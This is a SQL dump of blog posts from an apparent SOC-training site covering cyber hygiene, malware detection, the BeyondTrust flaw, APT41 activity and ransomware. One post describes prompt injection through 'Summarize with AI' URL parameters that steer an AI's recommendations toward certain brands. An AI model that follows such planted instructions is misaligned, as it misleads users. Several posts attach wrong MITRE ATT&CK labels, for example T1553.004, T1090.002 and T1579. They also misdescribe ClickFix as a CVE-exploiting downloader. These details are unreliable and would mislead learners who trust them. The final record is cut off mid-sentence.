INSERT INTO `blog_posts` (`id`, `title`, `slug`, `content`, `excerpt`, `featured_image`, `featured_image_alt`, `author_id`, `status`, `created_at`, `updated_at`, `category`, `seo_title`, `seo_description`, `focus_keyword`) VALUES
(153, 'Mastering Cyber Hygiene: Essential Steps for Top-Notch Online Security', 'Mastering-Cyber-Hygiene-Essential-Steps', '# Mastering Cyber Hygiene: Essential Steps to Enhance Your Online Security\n\nIn today\'s digital world, maintaining strong cyber hygiene is as crucial as taking care of your personal health. Just as you wouldn\'t leave your home unlocked, your online presence requires the same level of attention and protection. But what does \"cyber hygiene\" really mean, and why is it so critical to your online safety? In this article, we’ll explore both the basics and technical aspects of cyber hygiene, as well as how neglecting it can leave you vulnerable to cyber threats.\n\n## What Is Cyber Hygiene?\n\nCyber hygiene refers to the regular practices and behaviors designed to keep your online presence and systems secure. Think of it like brushing your teeth every day: if you neglect it, you’re bound to face bigger issues down the line. In the world of cybersecurity, cyber hygiene encompasses activities like managing passwords, updating software, and being cautious of suspicious activities.\n\n### The Simple Breakdown\n\nImagine this scenario: you never update your devices, use weak passwords across multiple sites, and open every email link without thinking twice. These common poor habits can lead to a host of cybersecurity problems, such as malware infections, data breaches, and identity theft.\n\n### A More Technical Look\n\nFrom a technical standpoint, cyber hygiene practices include:\n\n- **Regular Software Updates**: Installing the latest patches to fix vulnerabilities.\n- **Strong, Unique Passwords**: Using complex, different passwords for every login.\n- **Multi-Factor Authentication (MFA)**: Adding an extra layer of protection by requiring more than just a password.\n- **Phishing Awareness**: Recognizing suspicious emails and links to avoid malware.\n\nBy adhering to these practices, you can significantly reduce your risk of becoming a target of cyber-attacks.\n\n## Why Poor Cyber Hygiene Increases Cybersecurity Risks\n\nNeglecting cyber hygiene creates vulnerabilities in your system, offering attackers an opportunity to exploit weaknesses. Let’s dive deeper into how this happens:\n\n### Common Vulnerabilities\n\nOutdated software is a prime target for attackers. Once known vulnerabilities in the software are left unpatched, attackers can exploit these flaws to gain access to your system. These vulnerabilities, often cataloged in databases, become common entry points for malicious actors.\n\n### Delivering Malicious Payloads\n\nOnce vulnerabilities are identified, attackers can deliver malicious payloads—such as ransomware or spyware—to your device. These payloads often run without your knowledge, quietly infecting your system and compromising your data.\n\n### Command and Control (C2) Systems\n\nWhen a system is successfully compromised, attackers can establish a Command and Control (C2) connection, allowing them to remotely control the infected device. From here, they can steal sensitive data, deploy further malware, or even hold your information for ransom.\n\n## 🛡️ SOC Analysts: A Look at How to Detect Threats\n\nAs a Security Operations Center (SOC) analyst, your job is to monitor and defend your network from these types of threats. If you\'re working with a Security Information and Event Management (SIEM) system, here’s how you can identify suspicious activity:\n\n### Triage\n\n- **Validate Alerts**: Verify whether the suspicious activity aligns with known attack patterns.\n- **Correlate Data**: Analyze related logs to look for trends that could indicate a larger breach.\n\n### Containment\n\n- **Isolate Affected Systems**: Disconnect compromised devices from the network to prevent further damage.\n- **Apply Security Patches**: Immediately patch any unpatched software to close the vulnerabilities that were exploited.\n\n## 🎓 Student Corner: Key Cybersecurity Terms\n\n### Phishing\n\nPhishing refers to fraudulent emails or messages that seem to come from trustworthy sources but are designed to steal sensitive information, such as passwords or credit card details.\n\n### Multi-Factor Authentication (MFA)\n\nMFA is a security mechanism that requires users to provide more than one form of verification before granting access to an account or system. This adds a crucial layer of protection beyond just a password.\n\n## How Cyber Hygiene Impacts Your Career\n\nWhether you\'re just starting in cybersecurity or looking to advance, strong cyber hygiene is the foundation for protecting both personal and professional data. Implementing and mastering these best practices will also help you stand out as a knowledgeable candidate for cybersecurity roles.\n\n## 🚀 Take Action Now: Test Your Cybersecurity Skills\n\nReady to put your knowledge into practice? Try fighting real-world attacks in our VirtualSOC simulator. Sign up now to investigate alerts, practice incident response, and hone your cyber defense skills in a realistic environment.\n\n## MITRE ATT&CK Framework: Mapping the Threat\n\n- **Tactic**: Initial Access (TA0001)\n- **Technique**: Phishing (T1566)\n\nBy practicing good cyber hygiene and staying vigilant about your online security, you can better protect your personal and organizational data. Remember, when it comes to cybersecurity, prevention is always better than cure. Start applying these techniques today to safeguard your digital life!', 'Explore the fundamentals of cyber hygiene with a deep dive into recent online safety incidents, their technical analysis, and practical actions for SOC analysts and cybersecurity students.', 'http://infoseclabs.io/uploads/1771257235499-682019872.jpg', NULL, 1, 'published', '2026-02-16 02:42:00', '2026-02-16 18:59:14', 'Information Security', 'The Basics of Cyber Hygiene: How to Stay Safe Online', 'Explore the fundamentals of cyber hygiene with a deep dive into recent online safety incidents, their technical analysis, and practical actions for SOC analysts and cybersecurity students.', 'The Basics of Cyber Hygiene: How to Stay Safe Online'),
(154, 'Navigating Cyber Threats: How to Detect Infection on Your Machine', 'how-can-i-determine-if-computer-is-infected', '# Cybersecurity Threats: Recognizing and Responding to Computer Infections\n\nCybersecurity threats are more prevalent than ever, making it crucial for individuals—especially students and learners in the field of cybersecurity—to identify when their computer may be compromised. Knowing the signs of a computer infection and how to respond is an essential skill for maintaining personal and professional security. This guide will help you recognize the symptoms of a potential infection, diagnose issues, and take steps to safeguard your system.\n\n## Why Detecting Computer Infections is Critical\n\nA compromised computer can do more than just slow down your day. It can expose sensitive information, allow hackers to access your accounts, and spread malware to others in your network. Early detection is key to minimizing damage and maintaining a secure system.\n\n## Common Signs of Computer Infections\n\nNot all computer infections are obvious, but there are some red flags to look out for:\n\n### 1. Unusual Computer Behavior\n\nStrange actions like random restarts, unauthorized software installations, or unexpected updates could indicate malicious activity. If your computer isn’t functioning as it normally does, it could be infected.\n\n### 2. Sluggish Performance\n\nIf your computer suddenly becomes slow, freezes, or crashes frequently, it could be due to malware running in the background. Performance issues often suggest that something unauthorized is consuming your device\'s resources.\n\n### 3. Unexpected Pop-ups\n\nPersistent pop-ups, even when you aren’t browsing the web, are a common sign of adware or spyware infections. These often include fake antivirus warnings designed to trick you into downloading more malware.\n\n### 4. Changes to Homepage or Browser Settings\n\nIf your internet browser\'s homepage changes without your consent or if you encounter new toolbars or extensions you didn’t install, your system might be compromised. These changes are often caused by browser hijackers.\n\n## How to Diagnose a Computer Infection\n\nOnce you notice unusual behavior, follow these steps to confirm if your computer is infected:\n\n### 1. Use Antivirus Software\n\nRun a deep or full scan using reliable antivirus software. Many antivirus programs can detect and isolate harmful files, offering a solid first line of defense.\n\n### 2. Scan for Malware\n\nUse dedicated malware scanning programs like Malwarebytes in tandem with your antivirus software. These tools specialize in detecting threats that traditional antivirus programs might miss.\n\n### 3. Check for Unwanted Programs\n\nAccess your list of installed programs and look for anything unfamiliar. If you spot apps you didn’t download, especially those with strange names, uninstall them after verifying their legitimacy.\n\n## Preventative Measures to Avoid Future Infections\n\nPreventing infections is far easier than dealing with the aftermath. Here are some best practices for avoiding malware:\n\n### 1. Keep Software Updated\n\nEnsure your operating system, antivirus software, and all applications are regularly updated. Security vulnerabilities are often patched in updates, making your system less susceptible to attacks.\n\n### 2. Be Cautious with Downloads and Links\n\nOnly download files from trusted sources and avoid clicking on suspicious links in emails or online ads. Cybercriminals often disguise malware in links or attachments.\n\n### 3. Use Strong Passwords and Two-Factor Authentication\n\nImplement strong, unique passwords for your accounts and enable two-factor authentication (2FA) wherever possible. This adds an extra layer of security to your system and data.\n\n## What to Do If Your Computer is Infected\n\nIf your diagnostics confirm an infection, take the following steps immediately:\n\n### 1. Quarantine and Remove Malware\n\nUse your antivirus or malware removal tools to quarantine and delete infected files. Ensure the entire system is scanned to address all threats.\n\n### 2. Change Passwords\n\nAfter removing the malware, change the passwords for all your accounts, especially if any personal data was exposed during the infection.\n\n### 3. Alert Others If Necessary\n\nIf the infection might have spread through shared networks or email links, inform other users or affected contacts so they can check their systems too.\n\n## Organizational Cybersecurity Tools for Detecting Anomalies\n\nWhen a device is part of an organization, advanced cybersecurity tools can play a vital role in identifying and alerting anomalies. Here are some key tools commonly used:\n\n1. **Intrusion Detection and Prevention Systems (IDPS)**  \n   These tools monitor network traffic for malicious activities and can alert administrators to unusual behavior, such as unauthorized access attempts or abnormal data transfers.\n\n2. **Endpoint Detection and Response (EDR)**  \n   EDR solutions provide real-time monitoring of endpoints (devices) within the organization. They help detect threats, isolate affected devices, and provide detailed forensic analysis of the incident.\n\n3. **Security Information and Event Management (SIEM)**  \n   SIEM tools consolidate logs and event data from multiple sources, analyze them for suspicious patterns, and generate alerts for potential security breaches or anomalies.\n\n4. **Network Traffic Analysis (NTA) Tools**  \n   These tools analyze network activity to detect unusual patterns, such as spikes in data usage or communications with known malicious servers, helping prevent data exfiltration or attacks.\n\n5. **Email Security Solutions**  \n   Many organizations deploy email security tools that detect phishing attempts, suspicious attachments, and email accounts compromised by malware.\n\n6. **User and Entity Behavior Analytics (UEBA)**  \n   UEBA tools use advanced algorithms to establish a baseline of normal behavior for users and systems. They can then detect deviations, such as irregular login times or accessing unexpected data, and trigger alerts.\n\nUsing these tools, organizations can minimize the risk of undetected infections, respond promptly to security incidents, and ensure the safety of their networked infrastructure. Additionally, regular updates and patching of software and systems are crucial in preventing cyber attacks. Organizations should also educate their employees on best practices for cybersecurity, such as creating strong passwords, being cautious of suspicious emails or links, and regularly backing up important data.\n\nBy implementing a combination of these measures, organizations can significantly improve their overall cybersecurity posture and protect against potential threats. While technology plays a critical role in defending against cyber attacks, it is important to remember that it is only one piece of the puzzle. A comprehensive approach that includes both technological solutions and employee awareness and training is essential in safeguarding an organization\'s valuable information and assets.\n\n## Final Thoughts\n\nCybersecurity is a shared responsibility, and knowing how to detect and address computer infections is crucial for every individual. Staying vigilant, proactive, and informed can save you from potential risks and data loss. Need more cybersecurity tips and tricks? Always stay updated on the latest threats and defenses in the digital world—because being aware is the first step toward being secure.', 'Expert analysis on detecting computer infections, focusing on recent cybersecurity events involving sophisticated malware like Emotet. Learn to identify and respond to threats effectively.', 'http://infoseclabs.io/uploads/1771258399806-134594668.jpg', NULL, 1, 'published', '2026-02-14 19:01:00', '2026-02-16 19:13:27', 'Information Security', 'How can I determine if my computer is infected?', 'Expert analysis on detecting computer infections, focusing on recent cybersecurity events involving sophisticated malware like Emotet. Learn to identify and respond to threats effectively.', 'How can I determine if my computer is infected?'),
(155, 'CISA: BeyondTrust RCE flaw now exploited in ransomware attacks', 'cisa-beyondtrust-rce-flaw-now-exploited-in-ransomware-attacks', '## Executive Summary\n**The CISA has issued a warning about active exploitation of the CVE-2026-1731 RCE flaw in BeyondTrust Remote Support, now linked to ransomware attacks. This escalation marks a critical threat to network security and demands immediate attention.**\n\n## The Deep Dive (Technical Analysis)\nThe CVE-2026-1731 vulnerability in BeyondTrust\'s Remote Support software has become a significant foothold for cybercriminals, particularly in the orchestration of ransomware campaigns. This Remote Code Execution (RCE) flaw allows an attacker to execute arbitrary code on a victim\'s system without authentication. The exploitation process typically begins with the attacker sending a crafted request to the exposed BeyondTrust interface, which, due to insufficient validation of user-supplied data, processes the request and executes the malicious code.\n\nThis vulnerability is especially perilous due to its ability to give attackers a direct method to deploy payloads, including ransomware, thus bypassing traditional perimeter defenses. The ransomware strains associated with this vulnerability have not been explicitly named, but the attack vectors follow a familiar pattern: exploit, establish persistence, escalate privileges, and deploy ransomware.\n\n## 🛡️ SOC Analyst Actions (The \"Blue Team\" Playbook)\n### Detection Opportunities\n- **Network Traffic**: Look for unusual outbound traffic, especially to known bad IPs or domains.\n- **Endpoint Logs**: Check for unexpected process executions, particularly from standard system tools.\n- **BeyondTrust Logs**: Monitor for any anomalous activity, such as failed authentication attempts or unusual admin actions.\n\n### Triage Steps\n1. **Isolate**: Immediately isolate affected systems to prevent lateral movement.\n2. **Patch**: Ensure that the BeyondTrust software is updated to the latest version that mitigates this vulnerability.\n3. **Investigate**: Conduct a thorough investigation to check for any signs of compromise or lingering presence of the attacker.\n\n## 🎓 Student Corner (The \"Why\" & \"How\")\n### Remote Code Execution (RCE)\n**Remote Code Execution** is a type of security vulnerability that allows an attacker to run arbitrary code on another computer over a network, typically with system-level privileges. Understanding RCE is crucial because it highlights the severity of allowing attackers to execute any command they choose, potentially leading to full system compromise.\n\n### Application in Job Interviews\nGrasping the concept of RCE and its implications helps in job interviews by demonstrating a deep understanding of network vulnerabilities and their potential impact on business operations. Articulating how you would mitigate such threats shows practical knowledge and a proactive approach to cyber defense.\n\n## 🚀 Simulation Brief (Call to Action)\n**We have replicated this attack vector in the VirtualSOC range. Deploy to the dashboard and investigate \"BeyondTrust RCE Alert\" to test your skills against this TTP.**\n\n## MITRE ATT&CK Mapping\n- **Execution through API**: T1106\n- **Exploitation for Client Execution**: T1203\n- **External Remote Services**: T1133\n', 'CISA warns of active ransomware attacks exploiting BeyondTrust\'s CVE-2026-1731 RCE flaw. Understand the threat and how to defend against it.', 'http://infoseclabs.io/uploads/1771902427984-494420010.jpg', NULL, 1, 'published', '2026-02-20 03:00:00', '2026-02-24 06:08:14', 'Cybersecurity News', 'CISA: BeyondTrust RCE flaw now exploited in ransomware attacks', 'CISA warns of active ransomware attacks exploiting BeyondTrust\'s CVE-2026-1731 RCE flaw. Understand the threat and how to defend against it.', 'CISA: BeyondTrust RCE flaw now exploited in ransomware attacks'),
(156, 'BeyondTrust Flaw Used for Web Shells, Backdoors, and Data Exfiltration', 'beyondtrust-flaw-used-for-web-shells-backdoors-and-data-exfiltration', '## Executive Summary\nIn the evolving landscape of cyber threats, the recent exploitation of the BeyondTrust flaw, tracked as CVE-2026-1731, marks a critical juncture for cybersecurity teams. This flaw, enabling the deployment of web shells, backdoors, and facilitating extensive data exfiltration, demands immediate attention and robust countermeasures.\n\n## The Deep Dive (Technical Analysis)\nThe vulnerability in question affects BeyondTrust\'s Remote Support (RS) and Privileged Remote Access (PRA) products. CVE-2026-1731, with a CVSS score of 9.9, is a severe flaw allowing attackers to execute operating system commands remotely. The mechanism of action involves bypassing authentication processes to gain elevated privileges, subsequently deploying malicious payloads such as VShell. These payloads grant attackers persistent access and control over the compromised systems, making it possible to manipulate data, systems, and even entire network infrastructures.\n\n## 🛡️ SOC Analyst Actions (The \"Blue Team\" Playbook)\n### Detection Opportunities\n- **PowerShell Logs**: Monitor for unusual scripts or commands that could indicate exploitation.\n- **Firewall Logs**: Look for denied connections or unusual outbound connections that could suggest data exfiltration attempts.\n- **Authentication Logs**: Watch for failures or anomalies that might signal brute-force attempts or misuse of credentials.\n\n### Triage Steps\n1. **Isolate Affected Systems**: Immediately isolate systems suspected of being compromised to prevent lateral movement.\n2. **Patch Management**: Ensure that all systems are updated with the latest patches for CVE-2026-1731.\n3. **Credential Reset**: Change credentials for accounts that have accessed the affected systems during the vulnerability window.\n\n## 🎓 Student Corner (The \"Why\" & \"How\")\n### Define: VShell\nVShell is a type of web shell—a script placed on a web server to enable remote administration. Often used maliciously to maintain persistent access to an exploited system.\n\n### How This Helps in a Job Interview\nUnderstanding the intricacies of CVE-2026-1731 not only demonstrates your technical prowess but also your ability to tackle real-world cybersecurity challenges proactively. Discussing how you would mitigate such a threat showcases your critical thinking and practical skills, key traits for roles in cybersecurity.\n\n## 🚀 Simulation Brief (Call to Action)\nWe have replicated this attack vector in the VirtualSOC range. Deploy to the dashboard and investigate **BeyondTrust CVE-2026-1731 Exploitation** to test your skills against this TTP.\n\n## MITRE ATT&CK Mapping\n- **T1059.001**: Command and Scripting Interpreter: PowerShell\n- **T1562.001**: Impair Defenses: Disable or Modify Tools\n- **T1579**: Network Boundaries: Network Traffic Manipulation\n', 'Critical analysis of CVE-2026-1731, a high-risk BeyondTrust flaw used for deploying web shells, backdoors, and extensive data exfiltration.', 'http://infoseclabs.io/uploads/1771989256414-221527028.jpg', NULL, 1, 'published', '2026-02-21 01:00:00', '2026-02-25 06:14:30', 'Cybersecurity News', 'BeyondTrust Flaw Used for Web Shells, Backdoors, and Data Exfiltration', 'Critical analysis of CVE-2026-1731, a high-risk BeyondTrust flaw used for deploying web shells, backdoors, and extensive data exfiltration.', 'BeyondTrust Flaw Used for Web Shells, Backdoors, and Data Exfiltration'),
(158, 'The Basics of Cyber Hygiene: How to Stay Safe Online', 'the-basics-of-cyber-hygiene-how-to-stay-safe-online-5393', '## Executive Summary\nIn the evolving landscape of cybersecurity, \"The Basics of Cyber Hygiene: How to Stay Safe Online\" has never been more critical, especially as recent events underscore vulnerabilities that even basic diligence could mitigate. Understand the nuances, or risk the consequences.\n\n## The Deep Dive (Technical Analysis)\nRecent breaches have highlighted a resurgence in phishing campaigns that leverage compromised credentials to infiltrate networks. One notable technique involves the use of `CVE-2021-22005`, an arbitrary file upload vulnerability in VMware vCenter Server, exploited by threat actors to gain a foothold in corporate networks. This exploit allows attackers to upload a web shell onto the server, enabling further post-exploitation activities such as lateral movement and data exfiltration.\n\nThe mechanism here is straightforward but deadly effective: a crafted POST request enables the attacker to bypass client-side input validation and upload malicious files directly to the server. This initial foothold is often escalated using tools like Mimikatz to harvest additional credentials and deepen the intrusion.\n\n## 🛡️ SOC Analyst Actions (The \"Blue Team\" Playbook)\n### Detection Opportunities:\n- **Web Server Logs:** Look for unusual POST requests, especially those attempting to upload or modify files.\n- **PowerShell Logs:** Check for unexpected execution of PowerShell scripts, which might indicate lateral movements or other post-exploitation activities.\n- **Network Traffic:** Monitor for unusual outbound connections, which could signify data exfiltration attempts.\n\n### Triage Steps:\n- Immediately isolate affected systems to prevent further spread.\n- Validate the integrity of critical files and configurations.\n- Engage forensic tools to analyze the nature and extent of the breach.\n\n## 🎓 Student Corner (The \"Why\" & \"How\")\n### Define \"Web Shell\":\nA web shell is a script that can be uploaded to a web server to enable remote administration of the machine. It provides a threat actor with persistent access and a powerful platform for further exploitation.\n\n### Job Interview Insight:\nUnderstanding how web shells are utilized in attacks like the VMware vCenter Server breach demonstrates a grasp of both offensive tactics and defensive responses, a critical duality in cybersecurity roles. Discussing this in an interview shows strategic and tactical cybersecurity knowledge.\n\n## 🚀 Simulation Brief (Call to Action)\nWe have replicated this attack vector in the VirtualSOC range. Deploy to the dashboard and investigate **\"VMware vCenter CVE-2021-22005 Exploitation\"** to test your skills against this TTP.\n\n## MITRE ATT&CK Mapping\n- **T1190 - Exploit Public-Facing Application**\n- **T1505.003 - Server Software Component: Web Shell**\n- **T1078 - Valid Accounts**\n\n<meta name=\"description\" content=\"Explore the critical importance of cyber hygiene with a deep dive into recent cybersecurity breaches, showcasing specific vulnerabilities and how to combat them.\">\n\n', 'Explore the critical importance of cyber hygiene with a deep dive into recent cybersecurity breaches, showcasing specific vulnerabilities and how to combat them.', 'http://infoseclabs.io/uploads/1772290255282-895770073.jpg', NULL, 1, 'published', '2026-02-24 22:19:00', '2026-02-28 17:50:58', 'Cybersecurity News', 'The Basics of Cyber Hygiene: How to Stay Safe Online', 'Explore the critical importance of cyber hygiene with a deep dive into recent cybersecurity breaches, showcasing specific vulnerabilities and how to combat them.', 'The Basics of Cyber Hygiene: How to Stay Safe Online'),
(169, 'APT41-Linked Silver Dragon Targets Governments Using Cobalt Strike and Google Drive C2', 'apt41-linked-silver-dragon-targets-governments-using-cobalt-strike-and-google-drive-c2-3691', '## Executive Summary\n\n**APT41-Linked Silver Dragon Targets Governments Using Cobalt Strike and Google Drive C2.** This recent campaign represents a sophisticated escalation in state-sponsored cyber threats, demanding immediate attention from global cyber defense entities.\n\n## The Deep Dive (Technical Analysis)\n\nSilver Dragon, a formidable threat actor tied to APT41, has been actively compromising government systems in Europe and Southeast Asia. The group employs a dual-pronged initial access strategy: exploiting vulnerabilities in public-facing servers and spear-phishing attacks with malicious attachments. Notably, they leverage Cobalt Strike, a legitimate security tool repurposed here for malicious command and control (C2) operations, and an innovative C2 mechanism using Google Drive, making their communications less conspicuous within normal traffic.\n\n### Exploitation Details:\n- **Vulnerabilities**: The campaign has been exploiting known CVEs in web servers. Although specific CVEs were not disclosed, similar actors often target high-severity vulnerabilities in widely used software like Apache or NGINX.\n- **Mechanism of Action**: Post initial compromise, Silver Dragon deploys Cobalt Strike beacons directly or drops them via downloaded payloads. The use of Google Drive as a C2 server is particularly cunning; it involves using the API to send commands and retrieve data, camouflaging the malicious traffic as benign Google Drive interactions.\n\n## 🛡️ SOC Analyst Actions (The \"Blue Team\" Playbook)\n\n### Detection Opportunities:\n1. **Web server logs**: Look for unusual request patterns or attempts to exploit known vulnerabilities.\n2. **Email Gateway**: Monitor for phishing attempts with attachments or links that resemble known Silver Dragon payloads.\n3. **Network Traffic**: Anomalies in outbound traffic to Google APIs that do not align with typical business usage could indicate C2 activities.\n\n### Triage Steps:\n- Immediately isolate suspected compromised systems.\n- Verify integrity of web-facing servers.\n- Review and analyze email headers and payloads for signatures matching known phishing tactics.\n\n## 🎓 Student Corner (The \"Why\" & \"How\")\n\n### Complex Technical Term: **Command and Control (C2)**\nC2 refers to the infrastructure attackers use to maintain communication with compromised systems. Understanding C2 helps identify how attackers control malware remotely, crucial for disrupting their operations.\n\n### Job Interview Relevance:\nKnowledge of current APT activities, like those of Silver Dragon, demonstrates awareness of the cyber threat landscape, a critical asset in security roles. Discussing this case shows strategic thinking and practical knowledge in mitigating sophisticated threats.\n\n## 🚀 Simulation Brief (Call to Action)\n\nWe have replicated this attack vector in the VirtualSOC range. Deploy to the dashboard and investigate **Silver Dragon C2 Activity** to test your skills against this TTP.\n\n## MITRE ATT&CK Mapping\n\n- **T1190 - Exploit Public-Facing Application**\n- **T1566.001 - Spearphishing Attachment**\n- **T1090.002 - External Proxy via Cloud Service (Google Drive)**\n', 'APT41-Linked Silver Dragon targets governments in cyber espionage using Cobalt Strike and covert Google Drive C2 channels. Learn the latest TTPs and how to defend against them.', 'http://infoseclabs.io/uploads/1773151885001-57352090.jpg', NULL, 1, 'published', '2026-03-04 19:00:00', '2026-03-10 17:11:26', 'Information Security', 'APT41-Linked Silver Dragon Targets Governments Using Cobalt Strike and Google Drive C2', 'APT41-Linked Silver Dragon targets governments in cyber espionage using Cobalt Strike and covert Google Drive C2 channels. Learn the latest TTPs and how to defend against them.', 'APT41-Linked Silver Dragon Targets Governments Using Cobalt Strike and Google Drive C2'),
(172, 'Manipulating AI Summarization Features', 'manipulating-ai-summarization-features-7904', '## Executive Summary\nIn the evolving landscape of AI-assisted digital platforms, recent findings reveal a stealthy manipulation technique where companies inject biased commands into AI summarization features, skewing AI behavior to favor certain brands covertly. This manipulation threatens the integrity and trustworthiness of AI interactions across various critical sectors.\n\n## The Deep Dive (Technical Analysis)\n### **Mechanisms of Manipulation**\nMicrosoft\'s recent revelation uncovers a sophisticated form of AI manipulation where companies embed hidden instructions within AI-powered summarization tools. These commands are typically injected through URL parameters activated upon users interacting with \"Summarize with AI\" buttons. The malicious parameters instruct the AI to prioritize or trust content from these manipulators, thereby altering the AI\'s recommendation algorithms.\n\n### **Vulnerability Exploitation**\nThis tactic exploits a lack of stringent input validation in AI summarization interfaces, allowing prompt injections that can persist subtly in the AI’s operational memory. Although not tied to a specific CVE, this vulnerability resembles persistent XSS (Cross-Site Scripting) where the payload is not immediately harmful but manipulates the client-side processing script.\n\n### **Impact Across Industries**\nThe scope of this manipulation spans across 14 industries, indicating a widespread potential for misinformation and biased decision-making in sensitive areas such as finance, health, and cybersecurity.\n\n## 🛡️ SOC Analyst Actions (The \"Blue Team\" Playbook)\n### **Detection Opportunities**\nTo detect potential AI prompt manipulation:\n- Monitor and analyze URL parameter values in web traffic logs for anomalies or unrecognized prompt patterns.\n- Review AI system logs for unexpected command execution or unauthorized changes in configuration settings.\n\n### **Triage Steps**\nUpon detecting suspicious activity:\n- Immediately isolate the affected AI systems to prevent further influence.\n- Conduct a thorough audit of recent AI summarization requests and responses.\n- Update input validation protocols to reject unauthorized or suspicious commands.\n\n## 🎓 Student Corner (The \"Why\" & \"How\")\n### **Complex Technical Term: Persistent XSS**\nPersistent Cross-Site Scripting (XSS) occurs when malicious scripts are injected into a web application, which then become part of the website\'s content, persisting across sessions. Understanding this concept is crucial as it forms the basis of recognizing how data validation and sanitation flaws can be exploited, which is often discussed in cybersecurity job interviews to assess a candidate’s grasp of web security fundamentals.\n\n### **Relevance in Interviews**\nGrasping this manipulation technique showcases an understanding of advanced cybersecurity threats in the AI domain, demonstrating foresight and strategic thinking—qualities highly valued in cybersecurity roles.\n\n## 🚀 Simulation Brief (Call to Action)\nWe have replicated this attack vector in the VirtualSOC range. Deploy to the dashboard and investigate \"AI Prompt Manipulation Alert\" to test your skills against this TTP.\n\n## MITRE ATT&CK Mapping\n- **T1203: Exploitation for Client Execution** - Exploiting software vulnerabilities to execute unauthorized commands.\n- **T1553.004: Subvert Trust Controls** - Injecting unauthorized commands to manipulate AI behavior.\n- **T1059.007: Command and Scripting Interpreter: JavaScript** - Utilizing JavaScript in URLs for executing unauthorized AI prompt modifications.\n', 'Discover how hidden commands in AI summarization features can bias AI behavior, threatening the integrity of digital platforms across various sectors.', 'http://infoseclabs.io/uploads/1773150820428-879184423.jpg', NULL, 1, 'published', '2026-03-05 01:00:00', '2026-03-10 16:53:44', 'Information Security', 'Manipulating AI Summarization Features', 'Discover how hidden commands in AI summarization features can bias AI behavior, threatening the integrity of digital platforms across various sectors.', 'Manipulating AI Summarization Features'),
(176, 'Termite ransomware breaches linked to ClickFix CastleRAT attacks', 'termite-ransomware-breaches-linked-to-clickfix-castlerat-attacks-9715', '## Executive Summary\nThe cybersecurity landscape has once again been disrupted by the sophisticated deployment of Termite ransomware, facilitated by the ClickFix CastleRAT attacks. This strategic use of legitimate Windows utilities to initiate DonutLoader malware and the CastleRAT backdoor marks a significant escalation in the capabilities of Velvet Tempest actors.\n\n## The Deep Dive (Technical Analysis)\nRecent incidents have unveiled that Velvet Tempest, a notorious ransomware syndicate, is leveraging a technique dubbed ClickFix along with legitimate system tools to orchestrate breaches. The modus operandi involves the use of the DonutLoader malware, serving as a dropper, and the CastleRAT, which provides persistent remote access capabilities.\n\n**Mechanism of Action**:\n1. **Initial Compromise**: The attackers use social engineering or phishing to deceive targets into executing the ClickFix downloader, which masquerades as benign software.\n2. **Exploitation**: Upon execution, ClickFix exploits known vulnerabilities (specific CVEs are under analysis) to escalate privileges.\n3. **Persistence and Lateral Movement**: DonutLoader then deploys CastleRAT, establishing a foothold and enabling lateral movement across the network.\n4. **Data Exfiltration and Ransomware Deployment**: Finally, Termite ransomware is deployed, encrypting critical files and systems, followed by a ransom demand.\n\n## 🛡️ SOC Analyst Actions (The \"Blue Team\" Playbook)\n### Detection Opportunities\n- **PowerShell Logs**: Look for unusual script execution or commands that might indicate initial payload delivery or lateral movement.\n- **Firewall Logs**: Monitor denied connections or unusual outbound traffic that could suggest data exfiltration.\n- **Authentication Logs**: Anomalies in login patterns could indicate the presence of CastleRAT or unauthorized access attempts.\n\n### Triage Steps\n1. **Isolate Affected Systems**: Immediately disconnect impacted devices from the network to prevent further spread.\n2. **Review and Analyze Logs**: Correlate the timing of suspicious activities across different logs to identify the attack vector and scope.\n3. **Malware Analysis and Containment**: Utilize endpoint detection and response (EDR) tools to analyze and quarantine the malicious payloads.\n\n## 🎓 Student Corner (The \"Why\" & \"How\")\n### Complex Technical Term: **DonutLoader**\nDonutLoader is a sophisticated malware loader designed to inject malicious payloads into legitimate processes to evade detection. Understanding its mechanics is crucial for developing effective defensive strategies.\n\n### Job Interview Relevance\nIn interviews, demonstrating knowledge of current threat vectors like the Termite ransomware via ClickFix CastleRAT attacks shows an ability to apply theoretical knowledge practically and suggests a proactive approach to continuous learning—key traits for roles in cybersecurity.\n\n## 🚀 Simulation Brief\nWe have replicated this attack vector in the InfoSecLabs SOC environment. Deploy to your dashboard and investigate the \"Termite Ransomware Initiation\" alert to test your skills against these TTPs. Sharpen your ability to identify, respond, and mitigate sophisticated ransomware attacks in a controlled environment.\n\n## MITRE ATT&CK Mapping\n- **T1566.001**: Phishing: Spearphishing Attachment (Initial Access)\n- **T1059.001**: Command and Scripting Interpreter: PowerShell (Execution)\n- **T1486**: Data Encrypted for Impact (Impact)\n', 'Explore the sophisticated Termite ransomware breaches facilitated by ClickFix CastleRAT attacks, stressing urgent cybersecurity countermeasures.', 'http://infoseclabs.io/uploads/1773230399640-690327190.jpg', NULL, 1, 'published', '2026-03-08 13:00:00', '2026-03-11 15:00:06', 'Information Security', 'Termite ransomware breaches linked to ClickFix CastleRAT attacks', 'Explore the sophisticated Termite ransomware breaches facilitated by ClickFix CastleRAT attacks, stressing urgent cybersecurity countermeasures.', 'Termite ransomware breaches linked to ClickFix CastleRAT attacks'),
(177, 'Microsoft: Hackers abusing AI at every stage of cyberattacks', 'microsoft-hackers-abusing-ai-at-every-stage-of-cyberattacks-0205', '## Executive Summary\nIn a stark revelation, Microsoft has reported that hackers are now leveraging artificial intelligence (AI) throughout every phase of cyberattacks, fundamentally transforming the threat landscape. This escalation not only speeds up attacks but also makes them more adaptable and difficult to detect.\n\n## The Deep Dive (Technical Analysis)\nMicrosoft\'s alarming disclosure indicates that AI is being weaponized to refine the efficiency and scale of cyber operations. By integrating AI technologies, threat actors can automate tasks like vulnerability scanning, spear phishing campaign customization, and even the crafting of malware that can evade traditional detection mechanisms.\n\nFor instance, AI-driven algorithms can analyze vast datasets to identify vulnerabilities in software, potentially pinpointing unpatched systems or those running outdated software (e.g., CVE-2021-34527, also known as the PrintNightmare vulnerability). Malicious AI can also generate phishing emails that are highly customized, using natural language processing tools to create content that mimics legitimate user communication styles, thereby increasing the success rate of these campaigns.\n\nThe mechanism of action here involves the use of machine learning models that have been trained on cybersecurity datasets, or even adversarial AI that is designed to test and bypass security systems by learning how to simulate human-like attack strategies.\n\n## 🛡️ SOC Analyst Actions (The \"Blue Team\" Playbook)\n### Detection Opportunities:\n- Monitor unusual outbound network traffic or anomalies in system access logs, which might suggest data exfiltration attempts.\n- Scrutinize email gateways for signs of spear phishing, particularly focusing on emails with slight abnormalities in tone or style that could suggest AI-generated content.\n\n### Triage Steps:\n- Immediately isolate suspected compromised systems from the network to prevent lateral movement.\n- Engage forensic analysis on 